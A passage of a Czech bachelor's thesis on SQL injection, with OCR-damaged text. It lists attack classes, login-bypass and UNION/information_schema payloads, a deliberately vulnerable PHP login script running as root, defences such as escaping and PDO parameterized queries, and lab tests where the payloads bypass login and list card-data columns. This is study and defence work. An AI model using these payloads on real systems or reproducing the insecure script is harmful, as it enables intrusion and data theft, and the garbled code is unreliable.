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Tabulky musi mit stejny pocet sloupct s kompatibilnimi datovymi typy. [8] Zjistovani

poctu sloupct tabulky je mozné pomoci ptikazu ORDER BY.

e Error-based

Error-based SQLi, neboli technika SQLi zalozena na chyb¢, je zptsob pii kterém se
utocnik snazi vyvolat od systému chybové hlaseni. Takova hlaSeni mohou poskytovat
dilezit¢ informace o struktufe databaze. Vyvojaii se Casto dopoustéji chyby pii
nastavovani chybovych hldSeni a tim usnadiiuji Gto¢nikiim zneuziti zranitelnosti.
Chybové hlaseni by se obecné neméli dostat k uzivateli na vystup, ale mnohem lepsi
praxi byva zalohovat je v odd€leném logovacim souboru s omezenym ptistupem. [9]

Prikladem pouziti Error-based SQLi pomoci metody GET muze byt tato URL adresa:

http://website.com/index.php?id=1 or x=1

Pokud neexistuje sloupec x, tak systém vygeneruje chybové hlaseni.

Druhou velkou kategorii jsou Blind SQIli ttoky?®. Jedna se o tzv. slepé utoky, které se
vyuzivaji ve chvili kdy databaze neposild uZivateli na vystup zddnd data. Uzivatel nebo
utoénik tedy nevidi vysledek SQL dotazli. Lze ovSem vyuzit dvou zplsobd, které na zakladé
chovani databdze na dotazy jsou schopny ziskat informace o systému. Jedna se o Boolean-

based a Time-based SQL.I.

e Boolean-based

Boolean-based SQLi je technika, pii které jsou do databaze uto¢nikem posilany dotazy
obsahujici logicky vyraz. Odpovédi na takovy vyraz hodnoty TRUE a FALSE. Uto&nik
je poté na zakladé nékolika odpovédi schopen ziskat informace o struktuie databaze. Pro

ilustraci je opét pouzit ptiklad s vyuzitim metody GET a URL adresy: [19]

http://website.com/index.php?id=1

AND substring(version(),1,1)=5

V tomto piipad€ je testovano, jestli verze databaze je 5.x.x. Pokud je tento vyraz

pravdivy, tak se na vypisu objevi jednotadkova odpoveéd pro id=1. Pokud je vyraz

% Nekdy se mizeme setkat i s terminem ,,Nepiiméa SQLi“.
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nepravdivy, tak se neobjevi zadny vysledek. Utoénik tak mtize nékolika pokusy snadno

zjistit jako verzi databaze aplikace pouziva. [8]

e Time-based

Time-based SQLi je technika zalozena na praci s funkci pro méfeni ¢asu. Technika je
podobnéa Boolean-based, protoze opét vyuziva logické vyrazy. Nicméné tentokrat se
neanalyzuje vysledek dotazu, ale sleduje se, jestli dotaz vyvolad ¢asovou prodlevu. Pro

lepsi predstavu je vhodné uvést piiklad:

http://website.com/index.php?id=1;
IF (substring(version(),1,1)=5,SLEEP(10),null)

Pokud se dany vyraz vyhodnoti jako pravdivy (tedy verze databaze je 5.x.x), tak odezva
od databaze potrva 10 sekund. Tim Uto¢nik poznd, jaké hodnoty vyraz nabyl. Tato
technika se vyuziva misto Boolean-based v piipadé¢, ze systém nevypisuje zadny vystup.
Postup v tomto pfipadé je ale velice zdlouhavy, a proto je tato technika primarnim

kandidatem pro vyuziti nékterého z automatiza¢nich nastroja. [9]

Tteti kategorii SQLi technik je Out-of-band SQLi. V tomto zptisobu se vyuZziva postranniho
kanalu komunikace. Vzhledem k charakteru této techniky se ovSem jeji pouziti vyskytuje
velmi vzacné. Jeji spéSné pouziti totiZ zavisi na nékterych funkcich databazovych systémi,

které byvaji automaticky vypnuté. [8]

Existuje jesté dalsi specialni kategorie SQL1, ktera se nefadi do Zadné vySe zminéné skupiny.
Jedna se o tzv. Druhotné SQLi titoky?’ . Tento ttok je pomérmné zajimavy tim, Ze dokaze
obejit i n€které metody ochrany proti SQLi. Jeho vyuZiti se uplatni u aplikaci, které uZivateli
umoziuji ukladat data do databaze (jedna se napfiklad o registra¢ni systém). V takovém
pfipad€ miize uto¢nik ptidat do databaze skodlivy kod, ktery poté vyuZzije v jiném dotazu.
Systém muze byt rezistentni proti SQLi a spravné pracovat se vstupem od uzivatele, ale pro

nasledné vyzadani dat z databaze uz nemusi existovat dostatecné oSetieni. [9]

27 Second-order SQLi attacks.
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V predchézejici casti této kapitoly byly SQLi Utoky rozfazeny podle zplsobi pouziti do

jednotlivych kategorii. Je ovSsem mozné SQLi utoky kategorizovat i podle uto¢nikova cile.

o ldentifikace injekénich parametrii

Utoénik prozkoumava webovou aplikaci, aby zjistil, které parametry a pole zadavané
uzivatelem jsou zranitelné vii¢i SQLi.

e Provedeni otisku databdze

Utoénik ma za cil zjistit typ a verzi databaze, kterou webova aplikace pouziva. Urité
typy databazi reaguji rizné€ na uzivatelské vstupy.

o Urceni schématu databdze

Aby bylo mozné ziskat z databaze data, tak ito¢nik potiebuje znat struktury tabulek a
sloupcti.

e Extrakce dat

Tyto typy tutokél vyuzivaji techniky, které extrahuji data z databaze. Utoky s timto
zamérem jsou nejcastéjSim typem utoku SQLi

e Piidavani nebo uprava dat

Cilem téchto utok je pfidat nebo zménit informace v databazi.

e Provedeni odepieni sluzby

Tyto ttoky jsou provadény s cilem vypnout databazi webové aplikace, a tim odepfit
sluzbu ostatnim uzivatelim. Do této kategorie spadaji i destruktivni techniky.

o Obchazeni filtrit

Tyto utoky pracuji s mechanismy pro obchazeni filtrii na vstupech a riiznych detekénich
zafizeni.

e Obchazeni ovéiovani

Cilem téchto typl utokli je umoznit uto€nikovi obejit autentizaci V piihlaSovani do
aplikace.

e Spousténi vzdalenych piikazi

Utoénik se pokousi spustit libovolné piikazy v databazi. Tyto piikazy mohou

byt ulozené procedury nebo funkce dostupné uzivatelim databaze.

e ZvySeni oprdavnéni

Tyto utoky vyuzivaji implementac¢nich chyb nebo logickych nedostatk v databazi a

umoziuji uto¢niky zvysit vlastni opravnéni v ramci databaze. [14]
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3.5 Priklady uziti SQL injection utoku

V této kapitole je piedstaveno nékolik béznych zptisobu, které utoénik miize vyuzit
k napadeni webové aplikace a databazového systému. VSechny piiklady prezentované v této
kapitole jsou zkompilovany z poznatki ziskanych studiem [8], [9] a [21] a jejich obdoba je

pouzita v praktické casti.

3.5.1 Pouziti techniky komentari

Tato technika vyuziva funkcionalitu komentait v SQL (v jazyku SQL se jedna o klicova
slova --, # a /*). Jazyk SQL nebere v uvahu zadné znaky za komentafem do konce fadku.
Timto lze dosdhnout toho, ze SQL interpret bude ignorovat ¢ast dotazu — cilem této techniky

je vétsinou snaha ignorovat podminku WHERE.?®

admin'--
admin'#
admin'/*

' or 1=1--

' or 1=1#

' or 1=1/%

') or 'l'='1--

V) or (Vl'zll__

Také existuje technika vlozenych komentatt. Ta najde své uplatnéni v ptipadg, ze je aplikace
ochranéna filtraci kli¢ovych slov na vstupu (naptiklad DROP). Nasledujici ptiklad vyuziva

vloZenych komentati ke skryti SELECT a FROM:

SE/*LE*/CT uzivatel, heslo F/*OM*/M uzivatele

3.5.2 Poutziti techniky vloZenych uvozovek

Jedna z nejzakladnéjsich technik pro SQLi. VloZenim nasledujiciho fetézce docilime toho,

ze se druha ¢ast vyrazu vzdy vyhodnoti jako pravdiva.

admin' OR '1'='1l

2 Pozor! V ramci syntaxe v MySQL musi za komentafem nasledovat mezera.
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3.5.3 Zjistovani poctu sloupcu tabulky

Pti postupu zjistovani poctu sloupcti Ize v zasad¢ vyuzit dva mozné pristupy.

Prvni ptistup vyuziva ptikazu ORDER BY. Ten se pouziva pro sefazeni dat na vystupu podle
urceného sloupce. Pro ucely SQLi je mozné této funkcionality zneuzit pomoci postupné
inkrementace parametru. Parametrem je vétSinou Cislo sloupce. Pokud se na vystupu objevi
chyba o neplatném parametru, tak utocnik ziska informaci o poctu fadki, které¢ dotaz vraci

Z databaze.

' ORDER BY 1--
' ORDER BY 5--

Druhym moznym pfistupem je vyuziti ptikazu UNION.

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

3.5.4 Zjistovani typu sloupci

Pokud uto¢nik zna pocet sloupcti tabulky, tak mlze opét vyuzit ptikaz UNION ke zjiSténi
datovych typu sloupct. V piikladu pracujeme se dvéma sloupci a postupné zjist'ujeme, jestli

je sloupec typu VARCHAR.

admin' UNION SELECT 'a',NULL FROM uzivatele--
admin' UNION SELECT NULL, 'a' FROM uzivatele--

3.5.5 Ziskavani informaci z information_schema

Information_schema je mnozina pohledi definovana v SQL standardé a nachazi se ve
vétsing DBMS?. Vyuziva se pro popis metadat databaze. Utokem na information_schema
Ize ziskat v podstaté jakékoliv informace (tabulky, sloupce, procedury atd.)

Cast, ktera obsahuje informace o tabulkach uloZenych v databazi se nazyva tables. Je
dulezité zminit, ze information_schema je read-only, tudiz informace lze ziskévat, ale nelze

ménit databazi.

2 S vyjimkou ORACLE.
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' UNION SELECT (SELECT GROUP_CONCAT(table_name) FROM
information schema.tables WHERE table schema=database()),

NULL --

' UNION SELECT (SELECT GROUP_CONCAT (column name) FROM

information schema.columns WHERE table name = 'ucty'),NULL--

3.5.6 Ziskavani informaci o databazi

Jednou ze zakladnich informaci, které miizeme o databazi ziskat je Cislo jeji verze. Pro
MySQL toho lze docilit ptikazem SELECT Q@version3?. Zneuzit tento piikaz

v kombinaci s ptikazem UNION je tedy velice snadné.

' UNION SELECT (@@version, NULL--

3.5.7 Ziskavani uZiteénych dat pomoci UNION

Pomoci ptedchozich dvou technik ttoc¢nik ziskal dualezité informace o struktuie tabulek
(pocet sloupcii a jejich datova typy) a to ted’ mlze vyuzit pro extrakci dat z vice tabulek

najednou.

' UNION SELECT GROUP_CONCAT (cisloKarty,uzivatelJmeno) , NULL
FROM ucty--

Pokud uto¢nik vi, ze tabulka uzivatele vraci dva sloupce, zna jejich datové typy a zna

strukturu tabulky ucty, tak dotazem s UNION muize ziskat data z této tabulky.

%0 Plati pro MySQL. Pro jiné DBMS funguji rozdilné konstrukce.
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3.6 Ochrana proti SQL injection

Uc¢inna ochrana proti SQL1 se sklada ze dvou vrstev. Ochrany na urovni kédu a ochrany na
sitoveé urovni. Prakticka ¢ast se soustifedi na ochranu v rdmci kodu, ale sitova ochrana je téz

dalezitym prvkem dobie zabezpecené aplikace. Je tedy vhodné se o ni zminit.

3.6.1 Ochrana na drovni kodu

V ramci ochrany na urovni kodu plati jedna z nejzasadnéjSich programatorskych poucek pro

bezpecné programovani: Nevétit uzivatelim a jejich vstupim.

e Kontrola zakdzanych slov

Tato technika vyuZiva seznam potencialné nebezpeénych uzivatelskych vstup®. Tento
seznam muze obsahovat kli¢ova slova SQL jako naptiklad SELECT nebo DROP. Pokud
je takové slovo nalezeno na vstupu od uZzivatele, tak se dotaz do databaze nevykona. Tato
technika ale jako samostatna neni pfili§ u¢inna, protoze ji Ize snadno obejit s vyuzitim
vlozenych komentaid. [22] Je doporuceno pouzivat tento pristup pouze v kombinaci

S jinymi metodami.

e Kontrola povolenych slov

Tato metoda® pracuje na opa¢ném principu oproti blacklistingu. To znamena, Ze se
uzivatelsky vstup porovnava s pfedem piipravenym seznamem povolenych slov. Velmi
Casto se zde vyuzivaji regularni vyrazy. PrestoZe je tento zplisobem lepSi nez

blacklisting, nelze ho doporugit jako jedinou ochranu proti SQLi. [22]

o Escaping specialnich znakii

V ptipadé této metody ochrany se pracuje se vstupnimi fetézci. Pokud fetézec obsahuje
znak, ktery ma n&jaky specialni vyznam, tak se pied n&j vlozi lomitko a tim se zneplatni
jeho vlastnosti. Databazovy stroj poté necte znak jako specialni, ale jako soucast
textového fetézce. Pro escaping existuje mnozstvi funkci v rdmeci riznych jazyki. Pro

kombinaci PHP a MySQL se jedna o funkei:

mysgli real escape string(Sretezec)

31 Tzv. blacklisting
32 Tzv. whitelisting
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Nekteré zdroje jako [8] a [22] povazuji tuto techniku za nebezpecnou. Pro velkou vétsinu
zakladnich technik SQLi se jednd o u¢innou metodu obrany, nelze ji vSak oznacit za

zcela rezistentni. V praktické ¢asti bude otestovana.

e Parametrizované SQL dotazy

Po mnoho let jsou parametrizované SQL dotazy>® doporu¢ovanym ochrannym postupem
proti SQL.i. Pti jejich pouziti nejdiive programator nadefinuje veskery SQL kod, ktery je
poté ptedan do dotazu pomoci parametru. V takovém piipadé nemiize Gito¢nik ovlivnit
vysledek dotazu i v pfipad¢, ze by na vstup zadal ptikazy SQL. VétSina programovacich
jazykl a databazovych strojii obsahuje vlastni knihovnu pro ptipravu parametrizovanych
dotazll. V této praci se zabyvame kombinaci PHP a MySQL. V takovém ptipadé mame
na vybér ze dvou moznosti, jak konstruovat parametrizované dotazy. [9]

Prvni moznosti je vyuzit knihovnu PDO3* v ramci PHP. V kapitole 3.5.2. je uveden
ptiklad dynamické konstrukce dotazu SQL (nebezpetna konstrukce). ReSeni pomoci

knihovny PDO a parametrizovanych dotazii by mohlo byt nasledujici:

$Sjmeno $ POST['jmeno'];

Sheslo

$ POST['heslo']

Sstmt = $dbh->prepare ('SELECT jmeno FROM uzivatele
WHERE jmeno = :jmeno AND heslo =:heslo');
$stmt->bindValue (':jmeno', $jmeno, PDO::PARAM STR);
$stmt->bindValue (':heslo', S$heslo, PDO::PARAM STR);

Sstmt->execute () ;

Nejprve se do proménnych $jmeno a $heslo nacetl vstup z formulafe. Poté se
pfipravil dotaz s predpfipravenymi hodnotami. Néasledné se ,svéazali“ proménné
z formulafe s pfedpfipravenymi hodnotami pomoci funkce bindvalue () Parametr
PDO: : PARAM STR oznacuje, Ze se jedna fet€zec a data se tudiz maji interpretovat
pomoci vhodnych datovych typt®®. Poslednim krokem je samotné vykonani dotazu

pomoci funkce execute () .[15]

33 Téz nazyvané piedpfipravené.
34 PHP Data Objects.
% CHAR nebo VARCHAR
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Druhou zmifiovanou moznosti je vyuzit zabudované funkce v MySQLi*. Pouziti je

velice podobné knihovné PDO.

3.6.2 Ochrana na sit’ové urovni

Pro ucinnou ochranu proti SQLi je vyhodné zachytavat Skodlivé fetézce diive, nez se viibec

dostanou do SQL dotazu.

o Firewall

Firewall uz dnes patii mezi zdkladni stavebni prvky kazdého zabezpeceného systému.
Rozlisujeme nékolik druhd firewallt. Packet-filtering firewall na zakladé predem
stanovenych kritérii filtruje pfichozi pakety®’. Proxy firewall pracuje na podobném
principu jako packet-filtering, ale operuje na vyssi urovni TCP/IP.

Pro detekci SQLi se nejvice hodi Web application firewall (WAF). Dfive zminéné
firewally pracovali pouze s hlavi¢kami ptichozich paketl, kdezto WAF prozkoumava i
jejich téla. [13]

e Intrusion detection system

K detekci utokti SQLI Ize také pouzit tradi¢ni sitové systémy IDS. Ty pracuji stejné jako
moderni firewally (WAF) s detekci podezielych anomalii v paketech. Jelikoz se v oblasti
firewalldi v poslednich letech udal vyzna¢ny technologicky pokrok, tak je doporucené

pouzivat predev§im WAF.

3.6.3 Dalsi doporucené prostiedky pro zabezpeceni

Aplikace by méla pouZivat nejniz§i moznou Girovet opravnéni pii ptistupu k databézi.®,
V takovém pfipadé¢ jsou uZivatelim nastavena minimalni nutnd prava a je méné
pravdépodobné, ze dojde ke kompromitaci systému. Zaroven je vhodné zakazat funkce,
které nejsou pro chod aplikace dulezité. Lze také zakazat ¢teni information schema a tim
znesnadnit uto¢nikiim prizkum databédze. [8] Vhodné je také zamezit predvidatelnosti ve
struktufe databaze. Administratorsky Ui€et s nazvem admin pfedstavuje vyrazné usnadnéni

SQLi ttok.

3% Umoznéno aZ od verze PHPS.
37 Blok dat prenasenych po siti.
3 Tzv. Least privilage pfistup
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4 Navrzené reSeni

Naplni praktické ¢asti bakalarské prace je otestovani SQLi utokl prezentovanych v kapitole
3.5. Pro ucely testovani je vytvorena jednoducha testovaci aplikace a databaze. Nasledn€ na
zakladé poznatku ziskanych v kapitole 3.6, je implementovana odpovidajici ochrana proti

SQLi. Ta je téz vystavena sérii testi, které maji za cil ovérit jeji funkenost.

Na zaklad¢ poznatkli ziskanych z testovani funk¢nosti ochran je provedena diskuse na

vysledky a zobecnéni zkoumané problematiky.

4.1 Pouzité technologie

Pro vyvoj aplikace, stejn¢ jako pro popis problematiky v praktické casti, byl zvolen
skriptovaci jazyk PHP. Tento jazyk byl zvolen pfedevsim proto, ze dle [23] zhruba 78 %
webovych stranek a aplikaci pouziva pravé PHP jako serverovy jazyk. Konkrétni verzi
vyuzitou v této praci je PHP 7.3.2. Dostupna je sice i verze PHPS8.x.x, ale verze 7 je zdaleka
nejéast&ji se vyskytujici.®

Jako DBMS byla zvolena MySQL, zejména kvili jeji historické provazanosti s jazykem
PHP. Nicmén¢ moderni baliky pro vyvoj webovych aplikaci misto MySQL obsahuji

MariaDB, ktery je open-source alternativou MySQL*. [24]

Vyvoj a nasledné testovani probihalo na opera¢nim systému Windows 8.1 s nainstalovanym
balikem XAMPP verze 3.2.2.*! Bali¢ek obsahuje tyto komponenty (nainstalovany pouze
nezbytné soucasti a misto MariaDB nainstalovana MySQL pfisluSné verze pro zachovani

vérné podoby vétsiny webovych aplikaci):

e Apache 2.4.38
e MySQL 5.7.39
e PHP73.2

3970 % aplikaci napsanych v PHP jsou verze 7 oproti pouhym 2,5 % verze 8.

40 Jedna se o tzv. ,,fork®, neboli alternativni vyvojovou vétev.

41 Kompletni bali¢ek pro vyvoj webovych aplikaci obsahujici webovy server, jazyk a DBMS. Dostupné z
https://www.apachefriends.org/download.html

44



4.2 Navrh testovaci aplikace

Na obrazku cislo 6 1ze vidét navrh testovaci aplikace. Pro pfijimani uzivatelského vstupu je
vyuzit HTML formulat. Ten piedava vstupni data PHP skriptu. Mezi témito dvéma vrstvami
se nachdzi jesté vrstva s technologii AJAX*? ktera slouzi pro plynulejsi nacitani dat
z databaze bez nutnosti obnovovat stranku. V PHP skriptu je zkonstruovan SQL dotaz a

pomoci n¢ho se ziskaji prislusna data z databaze.

HTML formular H AJAX middleware H PHP skript ]——.

Obrazek 6 - architektura testovaci aplikace [viastni]

4.2.1 Pouzity formular

Formulafr pro ziskavani dat obsahuje dva vstupy:

e VstupuzivatelJdmeno typu text

e vstup heslo typu password

Pouzity formulaf je identicky pro vSechny PHP skripty.

<form name="login" action="skript.php" method="POST">
<input type="text" name="uzivatelJmeno" />
<input type="password" name="heslo" />
<input type="submit" wvalue="Prihlasit" />

</form>

42 Asynchronous Javascript + XML
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4.2.2 Aplikace bez zabezpeceni

PHP skript pro zpracovani dat od uzivatele a vyfizeni dotazii do databaze bez zabezpecCeni
ma nazev skript.php. Pracuje stestovaci databazi. Pro wuzivatelsky vstup
uzivateldmeno a heslo skript zkontroluje, jestli se uvedend data shoduji se zaznamy
v databazi a na zdklad¢ tohoto porovnani uzivatele bud’'to ptihlasi nebo vypise hlaseni o

nespravnych vstupnich udajich. Do databaze se ptihlasuje pod uctem root (velice

nebezpecné).
<?php
Sservername = "localhost";
Susername = "root";
Spassword = "";
Sdbname = "testdb";
$conn = mysgli connect ($servername, Susername,
Spassword, Sdbname) ;
Sdotaz = 'SELECT uzivatelJdmeno, jmeno FROM uzivatele
WHERE uzivatelJdmeno=\''.$ POST['uzivatelJmeno'].'\' AND
heslo=\"''.$ POST['heslo']."'\'';
echo "<b>Zadané uzivatelské jméno:
</b>".$ POST["uzivateldmeno"]."<br/>";
echo "<b>Zadané uzivatelské heslo:
</b>".$ POST["heslo"]."<br/><br/>";

echo "<b>Zkonstruovany SQL
dotaz:</b><br/>".S$dotaz."<br/><br/>";
$vysledek = mysqgli query(Sconn, S$Sdotaz);
if (!Svysledek) {
echo "Chyba v databdzi:<br/>";
echo mysqgli error($conn)."<br/>";
}
echo "<b>Odpovéd od DBMS:</b><br/>";
if (mysgli num rows (Svysledek) == 0) {
echo "Neplatné uzivatelské jméno nebo heslo!";

}

else{
while ($row = mysqli fetch array($vysledek)) {
echo "P¥ihlé&sen jako: ";
echo Srow["uzivateldmeno"]."<br/>";

}

>
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4.2.3 Aplikace se zabezpe¢enim pomoci escapovani znaki

Skript se zabezpecenim pomoci escapovani specidlnich znakii s vyuzitim zabudované
funkce mysgli real escape string() se nazyvd skript esc.php. Tento
skript je az na kliGovou pasaz escapovani specialnich znaki totozny se skript . php abude

zde ukazan pouze vynatek dulezité pasaze.

Suzivateldmeno = mysgli real escape string(Sconn,

$ POST['uzivatelJdmeno']);

$heslo = mysqgli real escape string($conn, $ POST['heslo']);
Sdotaz = 'SELECT uzivateldmeno, jmeno FROM uzivatele WHERE
uzivateldmeno=\""'.Suzivateldmeno."'\"

AND heslo=\"''.$heslo.'\'"';

4.2.4 Aplikace se zabezpeCenim parametrizovanymi dotazy

Skript se zabezpecenim pomoci parametrizovanych dotazli s vyuzitim knihovny PDO se
nazyva skript bezp.php. Pracuje na stejném principu jako skript.php Stim
rozdilem, ze si uzivatelsky vstup nacte do proménnych, které¢ svaze spolecné s parametry
Vv piipraveném dotazu. Uzivatel tak nemd moznost ovlivnit obsah fetézce, ktery se posila
v dotazu do databaze. K databéazi se opét piipojuje uctem root, coZ je sice nebezpecna
praktika, ale v ramci zachovani integrity testovani je vhodné zachovat stejné pocatecni
podminky a analyzovat pouze funk&nost metody ochrany pomoci parametrizovanych

dotaza.

<?php
Sservername = "localhost";
Susername = "root";
Spassword =
Sdbname = "testdb";
Sconn = new PDO("mysgl:host=$servername;dbname=Sdbname",

mwim .
4

Susername, S$password);

$uzivateldmeno = $ POST['uzivateldmeno'];
Sheslo = $ POST['heslo'];

echo "<b>Zadané uzivatelské jméno:
</b>".SuzivatelJdmeno."<br/>";

echo "<b>Zadané uzZivatelské heslo:
</b>".Sheslo."<br/><br/>";

47



Sdotaz = S$conn->prepare ('SELECT uzivateldmeno, Jjmeno
FROM uzivatele
WHERE uzivateldmeno = :uzivateldmeno AND
heslo =:heslo');
echo "<b>Zkonstruovany SQL dotaz:</b><br/>
".$dotaz ->queryString."<br/><br/>";
Sdotaz->bindValue (':uzivateldmeno', SuzivatelJmeno,
PDO: :PARAM STR);
$dotaz->bindvValue (':heslo', Sheslo, PDO::PARAM STR);
Sdotaz->execute () ;
$vysledek = Sdotaz->setFetchMode (PDO::FETCH ASSOC) ;
if (!Svysledek) {

echo "Chyba v databéazi:<br/>";

}
echo "<b>Odpovéd od DBMS:</b><br/>";
if (Sdotaz->rowCount () == 0) {
echo "Neplatné uzivatelské jméno nebo heslo!";

}
else(
while (Srow = $dotaz->fetchAll ()) {
echo "Prihlé&sen jako: ";
echo Srow[0] ["uzivatelJdmeno"]."<br/>";

}
7>

4.3 Vytvoreni testovaci databaze

Pro demonstraci ttokll a ochran proti SQL1 byla vytvofena jednoduché databéze. Nasledujici

SQL skript vytvori databazi a dvé tabulky. Ty pak naplni testovacimi daty.

CREATE DATABASE testdb;

CREATE TABLE uzivatele (
uzivatelJdmeno wvarchar (20),
heslo varchar (25),
jmeno varchar (25),
prijmeni varchar (25),
PRIMARY KEY (uzivatelJmeno)

) ;

CREATE TABLE ucty (
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uzivatelJmeno wvarchar (20),

cisloKarty varchar (16),

cvv int,

PRIMARY KEY

) ;

INSERT
VALUES
INSERT
VALUES
INSERT
VALUES
INSERT
VALUES
INSERT
VALUES
INSERT
VALUES

INTO uzivatele

(uzivatelJmeno)

('admin', 'adminl234', 'admin', 'admin');
INTO uzivatele

('petrl5', 'heslo41l7', 'Petr', 'Novéak');
INTO uzivatele

('kubaa', 'k717w', 'Jakub', 'Maly');
INTO ucty

("admin', '5555444411112222"', 666);

INTO ucty

("petrlb', '1234567891011121', 111);
INTO ucty

("kubaa', '1011255534447778', 515);

Vysledna testovaci databdze obsahuje dvé tabulky —uzivatele aucty:

uzivatelJmeno heslo jmeno prijmeni
admin admin1234 admin admin
petrl5 heslo417 Petr Novak
kubaa K717w Jakub Maly
Tabulka 5 - tabulka uzivatele

uzivatelJmeno cisloKarty cwWV

admin 5555444411112222 666

petrl5 1234567891011121 111

kubaa 1011255534447778 515

Tabulka 6 - tabulka ucty
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5 Testovani navrzeného reseni

5.1 Metodika testovani

Testovani aplikace je provedeno ve tiech fazich. V prvni faze se testuje zcela nezabezpecena

aplikace s se $patnou metodou konstrukce dynamického dotazu. A ve tieti fazi se testuje

zabezpecend aplikace pomoci metody parametrizovanych dotazi s vyuzitim knihovny PDO.

Testovani je provedeno dvéma uzivatelskymi vstupy:

e uzivatelJmeno = uzivatelské jméno

e heslo = heslo

Vysledek testu je zobrazen ve formé tabulky, kterd ja znazornéna tabulkou ¢islo 7.

UZzivatelské jméno (uzivatelJmeno)

Heslo (heslo)

Zkonstruovany SQL dotaz

Odpovéd od DBMS

Tabulka 7 - ukdzkovy vysledek testu

Pro ilustraci ovéfime funkcnost nezabezpecené aplikace pomoci zkousky validniho a

nevalidniho pfihlaSeni uZivatele.

5.1.1 Test funk¢nosti aplikace — validni vstup

UZivatelské jméno (uzivatelJmeno)

petrl5

Heslo (heslo)

heslo417

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="petr15' AND
heslo="heslo417'

Odpovéd od DBMS

PtihlaSen jako: petrl5

Tabulka 8 - test funkcnosti - validni vstup

Pro validni vstup je tedy aplikace funkcni a uzivatele ptihlési.
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5.1.2 Test funkénosti aplikace — nevalidni vstup

Uzivatelské jméno (uzivatelJmeno)

petrl5

Heslo (heslo)

XXXXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="petr15' AND

heslo="xxxxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 9 - test funkcnosti - nevalidni vstup

Pro nevalidni vstup (Spatné heslo) aplikace uzivatele nepiihlasi. Zakladni funkcionalita je

oveéfena.

5.2 Testovani nezabezpecené aplikace

5.2.1 Technika komentara

Uzivatelské jméno (uzivatelJmeno)

admin' --

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="admin' -- * AND

heslo="xxx'

Odpovéd od DBMS

Ptihlasen jako: admin

Tabulka 10 - nezabezpecend aplikace - komentdre

Zde byla vyzkousSena zcela zékladni technika pro obejiti pfihlaSovaciho mechanismu. Jedna
se hlavni stavebni kamen navazujicich zptisobi SQLi. Veskery obsah za komentafem se

ignoruje a systém tedy prihlasi uzivatele pod uZivatelskym jménem admin nezavisle na

zadaném heslu.
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5.2.2 Technika vloZenych uvozovek

Uzivatelské jméno (uzivatelJmeno)

admin' OR '1'="1

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="admin' OR '1'="1' AND

heslo="xxx'

Odpovéd od DBMS

Ptihlasen jako: admin

Tabulka 11 - nezabezpecend aplikace - uvozovky

Jedna se o podobnou techniku jako pouziti komentart. Zde se ovSem pracuje s logickym

vyrazem a uvozovkami. Systém opét vyhodnotil nespravné a ptihlésil uzivatele pod

administratorskym uctem.

5.2.3 Technika zjiSt'ovani poc¢tu sloupcii

Uzivatelské jméno (uzivatelJmeno)

'ORDER BY 2 --

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno=" ORDER BY 2 -- ' AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uZivatelské jméno nebo heslo!

Tabulka 12 - nezabezpecend aplikace - pocet sloupcii 1

Zde je testovana tabulka uzivatele a pocet sloupctl, ktery vraci z databaze (nejedna se o

celkovy pocet sloupcii tabulky). Pokud je vysledek fazen podle sloupce 2, tak systém

zamitne piihlaSeni bez chybového hlaseni. Je patrné, Ze tabulka vraci alespoii 2 sloupce.

Uzivatelské jméno (uzivatelJmeno)

'ORDER BY 3 --

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno=" ORDER BY 3 --' AND

heslo="xxx'

Odpovéd od DBMS

Neplatné uzivatelské jméno nebo heslo!

Tabulka 13 - nezabezpecend aplikace - pocet sloupcii 2
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Pokud se ovSem parametr u ORDER BY zvysi na hodnotu 3, tak systém vypiSe navic
chybové¢ hldseni Unknown column '3' in 'order clause'. Cozznamena, ze

treti sloupec neexistuje a tabulka tudiz vraci pouze dva sloupce.

5.2.4 Technika zjiStovani typa sloupci

Uzivatelské jméno (uzivatelJmeno) | ' UNION SELECT 'a’,NULL FROM uzivatele--

Heslo (heslo) XXX

Zkonstruovany SQL dotaz SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno=" UNION SELECT
'a’, NULL FROM uzivatele-- ' AND heslo="xxx'

Odpovéd od DBMS Neplatné uzivatelské jméno nebo heslo!

Tabulka 14 - nezabezpecena aplikace - typy sloupcii

Test na datovy typ sloupcii bohuzel narazil na funk¢éni omezenost testovaci databaze. Jelikoz

jsou vsechny sloupce v tabulce uzivatele VARCHAR, neni v podstaté co testovat.

5.2.5 Technika utoku na information_schema

Uzivatelské jméno (uzivatelJmeno) | ' UNION SELECT (SELECT
GROUP_CONCAT (table_name) FROM
information_schema.tables WHERE
table_schema=database()), NULL--

Heslo (heslo) XXX

Zkonstruovany SQL dotaz SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="UNION SELECT
(SELECT GROUP_CONCAT((table_name)
FROM information_schema.tables WHERE
table_schema=database()), NULL-- " AND

heslo="xxx'

Odpovéd od DBMS PtihlaSen jako: ucty,uzivatele

Tabulka 15 - nezabezpecena aplikace - information_schema 1

Utoky na information_schema jsou zasadnim prvek pii prizkumu databazové struktury.
Z tabulky byly pomoci ptikazu UNION a spojovani fet€ézci GROUP _CONCAT ziskany

nazvy vSech tabulek v databazi.
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Uzivatelské jméno (uzivatelJmeno)

"UNION SELECT (SELECT
GROUP_CONCAT(column_name) FROM
information_schema.columns WHERE
table_name ='ucty'),NULL--

Heslo (heslo)

XXX

Zkonstruovany SQL dotaz

SELECT uzivatelJmeno, jmeno FROM uzivatele
WHERE uzivatelJmeno="UNION SELECT
(SELECT GROUP_CONCAT(column_name)
FROM information_schema.columns WHERE
table_name ='ucty'),NULL--" AND heslo="xxx'

Odpovéd od DBMS

PtihlaSen jako: uzivatelJmeno,cisloKarty,cvv

